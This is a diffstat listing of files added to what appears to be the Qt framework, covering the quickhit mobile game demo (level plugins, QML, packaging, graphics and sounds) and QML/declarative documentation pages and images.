-rw-r--r--demos/mobile/quickhit/gfx/exit.pngbin0 -> 2810 bytes
-rw-r--r--demos/mobile/quickhit/gfx/pause.pngbin0 -> 1986 bytes
-rw-r--r--demos/mobile/quickhit/gfx/quickhit_logo.pngbin0 -> 8974 bytes
-rw-r--r--demos/mobile/quickhit/gfx/soundOff.pngbin0 -> 3122 bytes
-rw-r--r--demos/mobile/quickhit/gfx/soundOn.pngbin0 -> 2420 bytes
-rw-r--r--demos/mobile/quickhit/icon.svg305
-rw-r--r--demos/mobile/quickhit/main.cpp101
-rw-r--r--demos/mobile/quickhit/mainwindow.cpp248
-rw-r--r--demos/mobile/quickhit/mainwindow.h85
-rw-r--r--demos/mobile/quickhit/myeventfilter.cpp67
-rw-r--r--demos/mobile/quickhit/myeventfilter.h63
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/Level.qml214
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/debian/changelog11
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/debian/compat1
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/debian/control11
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/debian/copyright8
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/debian/dirs2
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/debian/postinst5
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/debian/rules91
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/gfx/background3.pngbin0 -> 113110 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/gfx/enemy1.pngbin0 -> 4508 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/gfx/enemy2.pngbin0 -> 4344 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/gfx/enemy_missile2.pngbin0 -> 452 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/gfx/fire.pngbin0 -> 1036 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/gfx/fire2.pngbin0 -> 2558 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/gfx/missile2.pngbin0 -> 392 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/gfx/red_fire.pngbin0 -> 4737 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/gfx/ship.pngbin0 -> 5408 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/gfx/star3.pngbin0 -> 409 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/gfx/transparent.pngbin0 -> 1000 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/levelone.cpp120
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/levelone.h91
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/levelone.pro97
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/sound/crash.wavbin0 -> 963020 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/sound/levelonestart.wavbin0 -> 500528 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/sound/rocket.wavbin0 -> 41336 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelOne/sound/rocket_explosion.wavbin0 -> 289420 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/debian/changelog11
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/debian/compat1
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/debian/control11
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/debian/copyright8
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/debian/dirs2
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/debian/levelone.tarlist41
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/debian/postinst5
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/debian/rules91
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/gfx/blue_fire.pngbin0 -> 38263 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/gfx/enemy1.pngbin0 -> 4508 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/gfx/enemy2.pngbin0 -> 4344 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/gfx/enemy_missile2.pngbin0 -> 452 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/gfx/missile2.pngbin0 -> 392 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/gfx/ship.pngbin0 -> 5408 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/gfx/transparent.pngbin0 -> 1000 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/leveltemplate.cpp126
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/leveltemplate.h95
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/leveltemplate.pro100
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/qml/Enemy.qml61
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/qml/Level.js42
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/qml/Level.qml103
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/sound/crash.wavbin0 -> 963020 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/sound/enableship.wavbin0 -> 78380 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/sound/enemy_explosion.wavbin0 -> 219642 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/sound/laser.wavbin0 -> 46764 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/sound/level2.wavbin0 -> 84034 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/sound/myship_explosion.wavbin0 -> 120474 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/sound/rocket.wavbin0 -> 41336 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTemplate/sound/rocket_explosion.wavbin0 -> 289420 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/debian/changelog11
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/debian/compat1
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/debian/control11
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/debian/copyright8
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/debian/dirs2
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/debian/levelone.tarlist41
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/debian/postinst5
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/debian/rules91
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/gfx/background2.pngbin0 -> 149307 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/gfx/background_loop.pngbin0 -> 163319 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/gfx/blue_fire.pngbin0 -> 38263 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/gfx/enemy1.pngbin0 -> 4508 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/gfx/enemy_missile2.pngbin0 -> 370 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/gfx/fire.pngbin0 -> 1036 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/gfx/fire2.pngbin0 -> 2558 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/gfx/missile.pngbin0 -> 289 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/gfx/missile2.pngbin0 -> 392 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/gfx/ship.pngbin0 -> 5408 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/gfx/star3.pngbin0 -> 1288 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/gfx/transparent.pngbin0 -> 1000 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/leveltwo.cpp122
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/leveltwo.h91
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/leveltwo.pro105
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/qml/Enemy.qml84
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/qml/Level.js42
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/qml/Level.qml228
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/sound/crash.wavbin0 -> 963020 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/sound/enableship.wavbin0 -> 78380 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/sound/enemy_explosion.wavbin0 -> 219642 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/sound/laser.wavbin0 -> 46764 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/sound/level2.wavbin0 -> 84034 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/sound/myship_explosion.wavbin0 -> 120474 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/sound/rocket.wavbin0 -> 41336 bytes
-rw-r--r--demos/mobile/quickhit/plugins/LevelTwo/sound/rocket_explosion.wavbin0 -> 289420 bytes
-rw-r--r--demos/mobile/quickhit/plugins/levelplugininterface.h86
-rw-r--r--demos/mobile/quickhit/quickhit.pngbin0 -> 4511 bytes
-rw-r--r--demos/mobile/quickhit/quickhit.pro88
-rw-r--r--demos/mobile/quickhit/resources.qrc25
-rw-r--r--demos/mobile/quickhit/sound/gameover.wavbin0 -> 46868 bytes
-rw-r--r--demos/mobile/quickhit/sound/gamestart.wavbin0 -> 573486 bytes
-rw-r--r--demos/mobile/quickhit/sound/menu1.wavbin0 -> 22444 bytes
-rw-r--r--demos/mobile/quickhit/sound/menu2.wavbin0 -> 25644 bytes
-rw-r--r--demos/mobile/quickhit/sound/youwin.wavbin0 -> 458554 bytes
-rw-r--r--demos/symbianpkgrules.pri19
-rw-r--r--doc/src/declarative/advtutorial.qdoc465
-rw-r--r--doc/src/declarative/anchor-layout.qdoc147
-rw-r--r--doc/src/declarative/animation.qdoc240
-rw-r--r--doc/src/declarative/basicelements.qdoc114
-rw-r--r--doc/src/declarative/basictypes.qdoc583
-rw-r--r--doc/src/declarative/behaviors-and-states.qdoc206
-rw-r--r--doc/src/declarative/codingconventions.qdoc129
-rw-r--r--doc/src/declarative/declarativeui.qdoc160
-rw-r--r--doc/src/declarative/dynamicobjects.qdoc215
-rw-r--r--doc/src/declarative/elements.qdoc337
-rw-r--r--doc/src/declarative/example-slideswitch.qdoc129
-rw-r--r--doc/src/declarative/examples.qdoc243
-rw-r--r--doc/src/declarative/extending-tutorial.qdoc497
-rw-r--r--doc/src/declarative/extending.qdoc708
-rw-r--r--doc/src/declarative/focus.qdoc210
-rw-r--r--doc/src/declarative/globalobject.qdoc207
-rw-r--r--doc/src/declarative/integrating.qdoc111
-rw-r--r--doc/src/declarative/javascriptblocks.qdoc324
-rw-r--r--doc/src/declarative/modules.qdoc487
-rw-r--r--doc/src/declarative/mouseevents.qdoc120
-rw-r--r--doc/src/declarative/network.qdoc158
-rw-r--r--doc/src/declarative/pics/3d-axis.pngbin0 -> 13840 bytes
-rw-r--r--doc/src/declarative/pics/3d-rotation-axis.pngbin0 -> 11078 bytes
-rw-r--r--doc/src/declarative/pics/BorderImage.pngbin0 -> 8094 bytes
-rw-r--r--doc/src/declarative/pics/ListViewHighlight.pngbin0 -> 3582 bytes
-rw-r--r--doc/src/declarative/pics/ListViewHorizontal.pngbin0 -> 5802 bytes
-rw-r--r--doc/src/declarative/pics/ListViewVertical.pngbin0 -> 2424 bytes
-rw-r--r--doc/src/declarative/pics/anatomy-component.pngbin0 -> 4902 bytes
-rw-r--r--doc/src/declarative/pics/anchorchanges.pngbin0 -> 566 bytes
-rw-r--r--doc/src/declarative/pics/anchors.svg92
-rw-r--r--doc/src/declarative/pics/animatedimageitem.gifbin0 -> 9997 bytes
-rw-r--r--doc/src/declarative/pics/axisrotation.pngbin0 -> 8891 bytes
-rw-r--r--doc/src/declarative/pics/blur_example.pngbin0 -> 64019 bytes
-rw-r--r--doc/src/declarative/pics/content.pngbin0 -> 1978 bytes
-rw-r--r--doc/src/declarative/pics/declarative-adv-tutorial1.pngbin0 -> 203229 bytes
-rw-r--r--doc/src/declarative/pics/declarative-adv-tutorial2.pngbin0 -> 249451 bytes
-rw-r--r--doc/src/declarative/pics/declarative-adv-tutorial3.pngbin0 -> 283378 bytes
-rw-r--r--doc/src/declarative/pics/declarative-adv-tutorial4.gifbin0 -> 1687445 bytes
-rw-r--r--doc/src/declarative/pics/declarative-qmlfocus1.pngbin0 -> 22047 bytes
-rw-r--r--doc/src/declarative/pics/declarative-qmlfocus2.pngbin0 -> 24225 bytes
-rw-r--r--doc/src/declarative/pics/declarative-qmlfocus3.pngbin0 -> 26300 bytes
-rw-r--r--doc/src/declarative/pics/declarative-qmlfocus4.pngbin0 -> 21401 bytes
-rw-r--r--doc/src/declarative/pics/dial-example.gifbin0 -> 566465 bytes
-rw-r--r--doc/src/declarative/pics/edge1.pngbin0 -> 3423 bytes
-rw-r--r--doc/src/declarative/pics/edge2.pngbin0 -> 3436 bytes
-rw-r--r--doc/src/declarative/pics/edge3.pngbin0 -> 3854 bytes
-rw-r--r--doc/src/declarative/pics/edge4.pngbin0 -> 5152 bytes
-rw-r--r--doc/src/declarative/pics/edges.pngbin0 -> 15226 bytes
-rw-r--r--doc/src/declarative/pics/edges.svg185
-rw-r--r--doc/src/declarative/pics/edges_examples.svg109
-rw-r--r--doc/src/declarative/pics/edges_qml.pngbin0 -> 21731 bytes
-rw-r--r--doc/src/declarative/pics/edges_qml.svg188
-rw-r--r--doc/src/declarative/pics/extending-tutorial-chapter1.pngbin0 -> 6687 bytes
-rw-r--r--doc/src/declarative/pics/extending-tutorial-chapter2.pngbin0 -> 7318 bytes
-rw-r--r--doc/src/declarative/pics/extending-tutorial-chapter3.pngbin0 -> 8145 bytes
-rw-r--r--doc/src/declarative/pics/extending-tutorial-chapter5.pngbin0 -> 5557 bytes
-rw-r--r--doc/src/declarative/pics/flickable.gifbin0 -> 185221 bytes
-rw-r--r--doc/src/declarative/pics/flipable.gifbin0 -> 131710 bytes
-rw-r--r--doc/src/declarative/pics/gridLayout_example.pngbin0 -> 437 bytes
-rw-r--r--doc/src/declarative/pics/gridview-highlight.pngbin0 -> 11806 bytes
-rw-r--r--doc/src/declarative/pics/gridview-simple.pngbin0 -> 10149 bytes
-rw-r--r--doc/src/declarative/pics/highlight.gifbin0 -> 18259 bytes
-rw-r--r--doc/src/declarative/pics/horizontalpositioner_example.pngbin0 -> 292 bytes
-rw-r--r--doc/src/declarative/pics/imageprovider.pngbin0 -> 420 bytes
-rw-r--r--doc/src/declarative/pics/layoutmirroring.pngbin0 -> 2542 bytes
-rw-r--r--doc/src/declarative/pics/listmodel-nested.pngbin0 -> 7493 bytes
-rw-r--r--doc/src/declarative/pics/listmodel.pngbin0 -> 3407 bytes
-rw-r--r--doc/src/declarative/pics/listview-highlight.pngbin0 -> 5918 bytes
-rw-r--r--doc/src/declarative/pics/listview-simple.pngbin0 -> 5351 bytes
-rw-r--r--doc/src/declarative/pics/margins_qml.pngbin0 -> 18476 bytes
-rw-r--r--doc/src/declarative/pics/margins_qml.svg196
-rw-r--r--doc/src/declarative/pics/parentchange.pngbin0 -> 509 bytes
-rw-r--r--doc/src/declarative/pics/particles.gifbin0 -> 163068 bytes
-rw-r--r--doc/src/declarative/pics/pathview.gifbin0 -> 90512 bytes
-rw-r--r--doc/src/declarative/pics/positioner-add.gifbin0 -> 7821 bytes
-rw-r--r--doc/src/declarative/pics/positioner-move.gifbin0 -> 6154 bytes
-rw-r--r--doc/src/declarative/pics/positioner-remove.gifbin0 -> 5610 bytes
-rw-r--r--doc/src/declarative/pics/propanim.gifbin0 -> 74909 bytes
-rw-r--r--doc/src/declarative/pics/qml-context-object.pngbin0 -> 23602 bytes
-rw-r--r--doc/src/declarative/pics/qml-context-tree.pngbin0 -> 10337 bytes
-rw-r--r--doc/src/declarative/pics/qml-context.pngbin0 -> 61465 bytes
-rw-r--r--doc/src/declarative/pics/qml-extending-types.pngbin0 -> 738 bytes
-rw-r--r--doc/src/declarative/pics/qml-gradient.pngbin0 -> 364 bytes
-rw-r--r--doc/src/declarative/pics/qml-scope.pngbin0 -> 47564 bytes
-rw-r--r--doc/src/declarative/pics/qtlogo.pngbin0 -> 2738 bytes
-rw-r--r--doc/src/declarative/pics/rect-border-width.pngbin0 -> 374 bytes
-rw-r--r--doc/src/declarative/pics/rect-color.pngbin0 -> 570 bytes
-rw-r--r--doc/src/declarative/pics/rect-smooth.pngbin0 -> 24241 bytes
-rw-r--r--doc/src/declarative/pics/reflection_example.pngbin0 -> 30919 bytes
-rw-r--r--doc/src/declarative/pics/repeater-index.pngbin0 -> 3024 bytes
-rw-r--r--doc/src/declarative/pics/repeater-modeldata.pngbin0 -> 3394 bytes
-rw-r--r--doc/src/declarative/pics/repeater-simple.pngbin0 -> 404 bytes
-rw-r--r--doc/src/declarative/pics/repeater.pngbin0 -> 800 bytes
-rw-r--r--doc/src/declarative/pics/scalegrid.svg183
-rw-r--r--doc/src/declarative/pics/shaderexample.pngbin0 -> 3941 bytes
-rw-r--r--doc/src/declarative/pics/shadow_example.pngbin0 -> 4775 bytes
-rw-r--r--doc/src/declarative/pics/squish-transform.pngbin0 -> 9652 bytes
-rw-r--r--doc/src/declarative/pics/squish.pngbin0 -> 8590 bytes
-rw-r--r--doc/src/declarative/pics/switch-example.gifbin0 -> 25270 bytes
-rw-r--r--doc/src/declarative/pics/translate.pngbin0 -> 398 bytes
-rw-r--r--doc/src/declarative/pics/verticalpositioner_example.pngbin0 -> 385 bytes
-rw-r--r--doc/src/declarative/pics/verticalpositioner_transition.gifbin0 -> 12641 bytes
-rw-r--r--doc/src/declarative/pics/visualitemmodel.pngbin0 -> 347 bytes
-rw-r--r--doc/src/declarative/pics/webview.pngbin0 -> 126662 bytes
-rw-r--r--doc/src/declarative/positioners.qdoc196
-rw-r--r--doc/src/declarative/propertybinding.qdoc324
-rw-r--r--doc/src/declarative/qdeclarativedebugging.qdoc86
-rw-r--r--doc/src/declarative/qdeclarativedocument.qdoc143
-rw-r--r--doc/src/declarative/qdeclarativei18n.qdoc87
-rw-r--r--doc/src/declarative/qdeclarativeintro.qdoc396
-rw-r--r--doc/src/declarative/qdeclarativemodels.qdoc505
-rw-r--r--doc/src/declarative/qdeclarativeperformance.qdoc150
-rw-r--r--doc/src/declarative/qdeclarativesecurity.qdoc80
-rw-r--r--doc/src/declarative/qdeclarativestates.qdoc158
-rw-r--r--doc/src/declarative/qmlevents.qdoc127
-rw-r--r--doc/src/declarative/qmlinuse.qdoc499
-rw-r--r--doc/src/declarative/qmlreusablecomponents.qdoc143
-rw-r--r--doc/src/declarative/qmlruntime.qdoc144
-rw-r--r--doc/src/declarative/qmlsyntax.qdoc155
-rw-r--r--doc/src/declarative/qmltexthandling.qdoc76
-rw-r--r--doc/src/declarative/qmlviewer.qdoc237
-rw-r--r--doc/src/declarative/qmlviews.qdoc114
-rw-r--r--doc/src/declarative/qmlwebkit.qdoc52
-rw-r--r--doc/src/declarative/qtbinding.qdoc669
-rw-r--r--doc/src/declarative/qtdeclarative.qdoc213
-rw-r--r--doc/src/declarative/qtprogrammers.qdoc155
-rw-r--r--doc/src/declarative/qtquick-intro.qdoc124
-rw-r--r--doc/src/declarative/righttoleft.qdoc194
-rw-r--r--doc/src/declarative/scope.qdoc304
-rw-r--r--doc/src/declarative/tutorial.qdoc226
-rw-r--r--doc/src/declarative/whatsnew.qdoc188
-rw-r--r--doc/src/demos/qml-qtbubblelevel.qdoc111
-rw-r--r--doc/src/examples/qml-calculator.qdoc36
-rw-r--r--doc/src/examples/qml-examples.qdoc939
-rw-r--r--doc/src/examples/qml-extending.qdoc303
-rw-r--r--doc/src/examples/qml-flickr.qdoc37
-rw-r--r--doc/src/examples/qml-folderlistmodel.qdoc138
-rw-r--r--doc/src/examples/qml-minehunt.qdoc37
-rw-r--r--doc/src/examples/qml-photoviewer.qdoc36
-rw-r--r--doc/src/examples/qml-rssnews.qdoc36
-rw-r--r--doc/src/examples/qml-samegame.qdoc37
-rw-r--r--doc/src/examples/qml-snake.qdoc37
-rw-r--r--doc/src/examples/qml-twitter.qdoc37
-rw-r--r--doc/src/examples/qml-webbrowser.qdoc39
-rw-r--r--doc/src/getting-started/gettingstartedqml.qdoc1023
-rw-r--r--doc/src/howtos/qmlbestpractices/qmlbestpractices-coding.qdoc97
-rw-r--r--doc/src/howtos/qmlbestpractices/qmlbestpractices-datatypes.qdoc49
-rw-r--r--doc/src/images/declarative-anchors_example.pngbin0 -> 3654 bytes
-rw-r--r--doc/src/images/declarative-anchors_example2.pngbin0 -> 3819 bytes
-rw-r--r--doc/src/images/declarative-colors.pngbin0 -> 4993 bytes
-rw-r--r--doc/src/images/declarative-examples.pngbin0 -> 39074 bytes
-rw-r--r--doc/src/images/declarative-folderlistmodel.pngbin0 -> 14963 bytes
-rw-r--r--doc/src/images/declarative-image_tile.pngbin0 -> 396 bytes
-rw-r--r--doc/src/images/declarative-item_opacity1.pngbin0 -> 464 bytes
-rw-r--r--doc/src/images/declarative-item_opacity2.pngbin0 -> 464 bytes
-rw-r--r--doc/src/images/declarative-item_stacking1.pngbin0 -> 460 bytes
-rw-r--r--doc/src/images/declarative-item_stacking2.pngbin0 -> 461 bytes
-rw-r--r--doc/src/images/declarative-item_stacking3.pngbin0 -> 464 bytes
-rw-r--r--doc/src/images/declarative-item_stacking4.pngbin0 -> 463 bytes
-rw-r--r--doc/src/images/declarative-nopercent.pngbin0 -> 553 bytes
-rw-r--r--doc/src/images/declarative-pathattribute.pngbin0 -> 7207 bytes
-rw-r--r--doc/src/images/declarative-pathcubic.pngbin0 -> 1261 bytes
-rw-r--r--doc/src/images/declarative-pathquad.pngbin0 -> 1517 bytes
-rw-r--r--doc/src/images/declarative-percent.pngbin0 -> 530 bytes
-rw-r--r--doc/src/images/declarative-qmlfocus1.pngbin0 -> 1890 bytes
-rw-r--r--doc/src/images/declarative-qmlfocus2.pngbin0 -> 2756 bytes
-rw-r--r--doc/src/images/declarative-qmlfocus3.pngbin0 -> 2743 bytes
-rw-r--r--doc/src/images/declarative-qmlfocus4.pngbin0 -> 4137 bytes
-rw-r--r--doc/src/images/declarative-qmlfocus5.pngbin0 -> 1376 bytes
-rw-r--r--doc/src/images/declarative-qtlogo-preserveaspectcrop.pngbin0 -> 6440 bytes
-rw-r--r--doc/src/images/declarative-qtlogo-preserveaspectfit.pngbin0 -> 4076 bytes
-rw-r--r--doc/src/images/declarative-qtlogo-stretch.pngbin0 -> 5584 bytes
-rw-r--r--doc/src/images/declarative-qtlogo-tile.pngbin0 -> 3940 bytes
-rw-r--r--doc/src/images/declarative-qtlogo-tilehorizontally.pngbin0 -> 5544 bytes
-rw-r--r--doc/src/images/declarative-qtlogo-tilevertically.pngbin0 -> 6288 bytes
-rw-r--r--doc/src/images/declarative-qtlogo.pngbin0 -> 3436 bytes
-rw-r--r--doc/src/images/declarative-rect.pngbin0 -> 674 bytes
-rw-r--r--doc/src/images/declarative-rect_gradient.pngbin0 -> 873 bytes
-rw-r--r--doc/src/images/declarative-rect_tint.pngbin0 -> 363 bytes
-rw-r--r--doc/src/images/declarative-removebutton-close.pngbin0 -> 3973 bytes
-rw-r--r--doc/src/images/declarative-removebutton-open.pngbin0 -> 5413 bytes
-rw-r--r--doc/src/images/declarative-removebutton.gifbin0 -> 183008 bytes
-rw-r--r--doc/src/images/declarative-removebutton.pngbin0 -> 6725 bytes
-rw-r--r--doc/src/images/declarative-reuse-1.pngbin0 -> 3489 bytes
-rw-r--r--doc/src/images/declarative-reuse-2.pngbin0 -> 3700 bytes
-rw-r--r--doc/src/images/declarative-reuse-3.pngbin0 -> 8829 bytes
-rw-r--r--doc/src/images/declarative-reuse-bluerect.pngbin0 -> 1474 bytes
-rw-r--r--doc/src/images/declarative-reuse-focus.pngbin0 -> 8026 bytes
-rw-r--r--doc/src/images/declarative-rotation.pngbin0 -> 667 bytes
-rw-r--r--doc/src/images/declarative-roundrect.pngbin0 -> 3058 bytes
-rw-r--r--doc/src/images/declarative-samegame.pngbin0 -> 124904 bytes
-rw-r--r--doc/src/images/declarative-scale.pngbin0 -> 336 bytes
-rw-r--r--doc/src/images/declarative-scalegrid.pngbin0 -> 4228 bytes
-rw-r--r--doc/src/images/declarative-text.pngbin0 -> 3289 bytes
-rw-r--r--doc/src/images/declarative-textedit.gifbin0 -> 15286 bytes
-rw-r--r--doc/src/images/declarative-textformat.pngbin0 -> 11498 bytes
-rw-r--r--doc/src/images/declarative-textstyle.pngbin0 -> 6825 bytes
-rw-r--r--doc/src/images/declarative-transformorigin.pngbin0 -> 8927 bytes
-rw-r--r--doc/src/images/declarative-tutorial-list-closed.pngbin0 -> 11854 bytes
-rw-r--r--doc/src/images/declarative-tutorial-list-open.pngbin0 -> 14745 bytes
-rw-r--r--doc/src/images/declarative-tutorial-list.pngbin0 -> 10723 bytes
-rw-r--r--doc/src/images/declarative-tutorial1.pngbin0 -> 3577 bytes
-rw-r--r--doc/src/images/declarative-tutorial2.pngbin0 -> 3913 bytes
-rw-r--r--doc/src/images/declarative-tutorial3.gifbin0 -> 3317 bytes
-rw-r--r--doc/src/images/declarative-tutorial3_animation.gifbin0 -> 301974 bytes
-rw-r--r--doc/src/images/qml-abstractitemmodel-example.pngbin0 -> 4478 bytes
-rw-r--r--doc/src/images/qml-behaviors-example.pngbin0 -> 6367 bytes
-rw-r--r--doc/src/images/qml-borderimage-example.pngbin0 -> 25204 bytes
-rw-r--r--doc/src/images/qml-borderimage-normal-image.pngbin0 -> 5282 bytes
-rw-r--r--doc/src/images/qml-borderimage-scaled.pngbin0 -> 5580 bytes
-rw-r--r--doc/src/images/qml-borderimage-shadows-example.pngbin0 -> 2606 bytes
-rw-r--r--doc/src/images/qml-borderimage-tiled.pngbin0 -> 5889 bytes
-rw-r--r--doc/src/images/qml-calculator-example-small.pngbin0 -> 16575 bytes
-rw-r--r--doc/src/images/qml-calculator-example.pngbin0 -> 33892 bytes
-rw-r--r--doc/src/images/qml-clocks-example.pngbin0 -> 40742 bytes
-rw-r--r--doc/src/images/qml-coloranim-example.pngbin0 -> 6184 bytes
-rw-r--r--doc/src/images/qml-column.pngbin0 -> 6264 bytes
-rw-r--r--doc/src/images/qml-corkboards-example.pngbin0 -> 179625 bytes
-rw-r--r--doc/src/images/qml-dialcontrol-example.pngbin0 -> 33569 bytes
-rw-r--r--doc/src/images/qml-dynamicscene-example.pngbin0 -> 71620 bytes
-rw-r--r--doc/src/images/qml-easing-example.pngbin0 -> 29397 bytes
-rw-r--r--doc/src/images/qml-flickr-demo-small.pngbin0 -> 40934 bytes
-rw-r--r--doc/src/images/qml-flickr-demo.pngbin0 -> 280730 bytes
-rw-r--r--doc/src/images/qml-flipable-example.pngbin0 -> 13301 bytes
-rw-r--r--doc/src/images/qml-flow-snippet.pngbin0 -> 11465 bytes
-rw-r--r--doc/src/images/qml-flow-text1.pngbin0 -> 9647 bytes
-rw-r--r--doc/src/images/qml-flow-text2.pngbin0 -> 10870 bytes
-rw-r--r--doc/src/images/qml-focus-example.pngbin0 -> 31370 bytes
-rw-r--r--doc/src/images/qml-fonts-availableFonts-example.pngbin0 -> 33674 bytes
-rw-r--r--doc/src/images/qml-fonts-banner-example.pngbin0 -> 8502 bytes
-rw-r--r--doc/src/images/qml-fonts-fonts-example.pngbin0 -> 41568 bytes
-rw-r--r--doc/src/images/qml-fonts-hello-example.pngbin0 -> 3213 bytes
-rw-r--r--doc/src/images/qml-grid-no-spacing.pngbin0 -> 416 bytes
-rw-r--r--doc/src/images/qml-grid-spacing.pngbin0 -> 421 bytes
-rw-r--r--doc/src/images/qml-gridview-example.pngbin0 -> 24321 bytes
-rw-r--r--doc/src/images/qml-guitartuner-example.pngbin0 -> 46135 bytes
-rw-r--r--doc/src/images/qml-i18n-example.pngbin0 -> 7683 bytes
-rw-r--r--doc/src/images/qml-image-example.pngbin0 -> 49584 bytes
-rw-r--r--doc/src/images/qml-imageprovider-example.pngbin0 -> 2259 bytes
-rw-r--r--doc/src/images/qml-layoutitem-example.pngbin0 -> 3817 bytes
-rw-r--r--doc/src/images/qml-listview-dynamiclist-example.pngbin0 -> 33091 bytes
-rw-r--r--doc/src/images/qml-listview-expandingdelegates-example.pngbin0 -> 46012 bytes
-rw-r--r--doc/src/images/qml-listview-highlight-example.pngbin0 -> 14216 bytes
-rw-r--r--doc/src/images/qml-listview-highlightranges-example.pngbin0 -> 44290 bytes
-rw-r--r--doc/src/images/qml-listview-sections-example.pngbin0 -> 5491 bytes
-rw-r--r--doc/src/images/qml-listview-snippet.pngbin0 -> 2048 bytes
-rw-r--r--doc/src/images/qml-minehunt-demo-small.pngbin0 -> 26977 bytes
-rw-r--r--doc/src/images/qml-minehunt-demo.pngbin0 -> 170648 bytes
-rw-r--r--doc/src/images/qml-mousearea-example.pngbin0 -> 6969 bytes
-rw-r--r--doc/src/images/qml-mousearea-snippet.pngbin0 -> 780 bytes
-rw-r--r--doc/src/images/qml-objectlistmodel-example.pngbin0 -> 1618 bytes
-rw-r--r--doc/src/images/qml-package-example.pngbin0 -> 4597 bytes
-rw-r--r--doc/src/images/qml-parallax-example.pngbin0 -> 145854 bytes
-rw-r--r--doc/src/images/qml-pathview-example.pngbin0 -> 22077 bytes
